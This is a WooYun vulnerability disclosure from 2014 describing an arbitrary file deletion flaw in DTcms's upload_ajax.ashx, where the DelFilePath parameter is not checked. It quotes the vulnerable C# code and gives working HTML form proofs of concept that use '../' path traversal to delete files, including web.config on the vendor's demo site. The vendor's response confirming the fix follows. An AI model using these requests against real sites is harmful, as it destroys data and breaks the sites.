当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-060431

漏洞标题:dtcms最新版任意文件删除漏洞

相关厂商:dtcms.net

漏洞作者: 路人甲

提交时间:2014-06-09 16:27

修复时间:2014-09-07 16:28

公开时间:2014-09-07 16:28

漏洞类型:设计缺陷/逻辑错误

危害等级:低

自评Rank:2

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-09: 细节已通知厂商并且等待厂商处理中
2014-06-13: 厂商已经确认,细节仅向厂商公开
2014-08-07: 细节向核心白帽子及相关领域专家公开
2014-08-17: 细节向普通白帽子公开
2014-08-27: 细节向实习白帽子公开
2014-09-07: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

对文件没很好的处理导致文件文件删除

详细说明:

tools/upload_ajax.ashx

public void ProcessRequest(HttpContext context)
{
switch (DTRequest.GetQueryString("action"))
{
case "EditorFile":
this.EditorFile(context);
return;
case "ManagerFile":
this.ManagerFile(context);
return;
}
this.UpLoadFile(context); //跟进
}


private void UpLoadFile(HttpContext context)
{
string _delfile = DTRequest.GetString("DelFilePath"); //删除文件路径
HttpPostedFile _upfile = context.Request.Files["Filedata"];//上传文件必须
bool _iswater = false;
bool _isthumbnail = false;
if (DTRequest.GetQueryString("IsWater") == "1")
{
_iswater = true;
}
if (DTRequest.GetQueryString("IsThumbnail") == "1")
{
_isthumbnail = true;
}
if (_upfile == null)
{
context.Response.Write("{\"status\": 0, \"msg\": \"请选择要上传文件!\"}");
}
else
{
string msg = new UpLoad().fileSaveAs(_upfile, _isthumbnail, _iswater);
if (!string.IsNullOrEmpty(_delfile))
{
Utils.DeleteUpFile(_delfile); //跟进
}
context.Response.Write(msg);
context.Response.End();
}
}


public static void DeleteUpFile(string _filepath)
{
if (!string.IsNullOrEmpty(_filepath))
{
string fullpath = GetMapPath(_filepath);
if (File.Exists(fullpath))
{
File.Delete(fullpath); //直接删除
}
if (_filepath.LastIndexOf("/") >= 0)
{
string fullTPATH = GetMapPath(_filepath.Substring(0, _filepath.LastIndexOf("/")) + "mall_" + _filepath.Substring(_filepath.LastIndexOf("/") + 1));
if (File.Exists(fullTPATH))
{
File.Delete(fullTPATH);
}
}
}
}


漏洞证明:

现在进行测试

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<title>upload</title>
</head>
<body>
<form method="post" action="http://demo.dtcms.net/tools/upload_ajax.ashx" enctype="multipart/form-data"" >
<input type="file" name="Filedata" />
<input type="submit" name="tijiao" value="confirm"/>
</form>
</body>
</html>


随便提交一个图片

513.png


图片路径

http://demo.dtcms.net/upload/201405/12/201405121501313686.jpg


5131.png


我们现在要删除这个图片
构造 上传的参数添加

DelFilePath=../upload/201405/12/201405121501313686.jpg


上传代码改成

<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<title>upload</title>
</head>
<body>
<form method="post" action="http://demo.dtcms.net/tools/upload_ajax.ashx?DelFilePath=../upload/201405/12/201405121501313686.jpg" enctype="multipart/form-data"" >
<input type="file" name="Filedata" />
<input type="submit" name="tijiao" value="confirm"/>
</form>
</body>
</html>


接着在随便传一个文件 等下访问这个这个文件就不存在了

5133.png


访问图片地址

http://demo.dtcms.net/upload/201405/12/201405121501313686.jpg


5132.png


不存在了
其实做这么多也就是不想删除原网站系统里面的任意文件 故先自己上传一个文件在删除一个文件进行测试
你可以试下这段代码 随便上传一个就可以成功删除测试网站的配置文件web.config

<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<title>upload</title>
</head>
<body>
<form method="post" action="http://demo.dtcms.net/tools/upload_ajax.ashx?DelFilePath=../web.config" enctype="multipart/form-data"" >
<input type="file" name="Filedata" />
<input type="submit" name="tijiao" value="confirm"/>
</form>
</body>
</html>


可删除网站任意文件

修复方案:

防止跳出目录 对任意文件进行删除

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-06-13 02:48

厂商回复:

非常感谢网友的热情,测出了漏洞还给出详细的方法,还时不时联系我们提醒修复,我代表DTcms所有开发人员向你表示深深的感谢!

最新状态:

2014-06-13:目录内部版本已经全面修复,但开源版由于时间上的问题,将尽快发布补丁及更新源码,非常感谢网友的支持!